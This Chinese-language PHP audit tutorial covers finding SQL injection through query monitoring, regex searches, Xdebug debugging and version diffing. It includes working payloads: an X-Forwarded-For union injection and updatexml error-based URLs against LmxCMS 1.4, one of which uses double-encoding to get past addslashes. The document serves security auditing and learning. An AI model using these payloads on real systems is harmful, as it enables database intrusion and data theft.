PHP审计:SQL注入类
PHP审计:SQL注入类
漏洞本质:特定函数+可控变量
本章内容:基于SQL注入的代码审计
一.数据库监控
eg.1:QQ业务源码系统-(无过滤)
1.数据库SQL监控排查可利用语句定向分析
2.刷新页面seay数据库监控得到可能存在的变量127.0.0.1
3.找到代码中对应执行的sql语句
4.定位函数ywdd发现XFF头注入
这里可以改变XFF在数据库监控验证变量是否可控
5.构造payload插入数据包:
X-Forwarded-for: 127.0.0.1′ and 1=2 union select 1,user(),3,4,5#
二.正则匹配
常用sql注入函数正则匹配,IDE内ctrl+shift+f全局检索
(update|select|insert|delete|).?where.=
eg.2:Bluecms源码系统-(无过滤)
三.动态调试技术
动态调试配置:phpStudy + PhpStorm + XDebug
https://blog.csdn.net/nzjdsds/article/details/100114242
1)先确定PHP版本有Xdebug
2)php.ini配置写入并开启Xdebug
3)PhpStorm设置端口及IDEY并测试
4)PhpStorm开启监听并运行断点访问
四.文件对比技术
工具:Beyond Compare 4
CNVD拿1DAY
eg.3LmxCMS V1.4后台Bo.cl.php文件存在SQL注入漏洞
https://www.cnvd.org.cn/flaw/show/CNVD-2020-59466
过程省略
构造payload:
http://localhost/lmxcms1.4/admin.php?m=book&a=reply&id=1)%20and%20updatexml(0,concat(0x7e,user()),1)%23
eg.4LmxCMS V1.4前台Ta.cl.php存在SQL注入漏洞
https://www.cnvd.org.cn/flaw/show/CNVD-2019-05674
1.定位对应文件以及参数:
2.跟踪定位SQL语句:
3.查看过滤为addslashes,可通过urldecode两次编码绕过:
4.构造payload:
http://localhost/lmxcms1.4/?m=tags&name=a’ and updatexml(0%2Cconcat(0x7e%2Cuser())%2C1)%23
5.使用Beyond Compare 4对比1.4与1.41文件代码不同,发现更新版本过滤情况:更新为先过滤,再解码从而规避注入。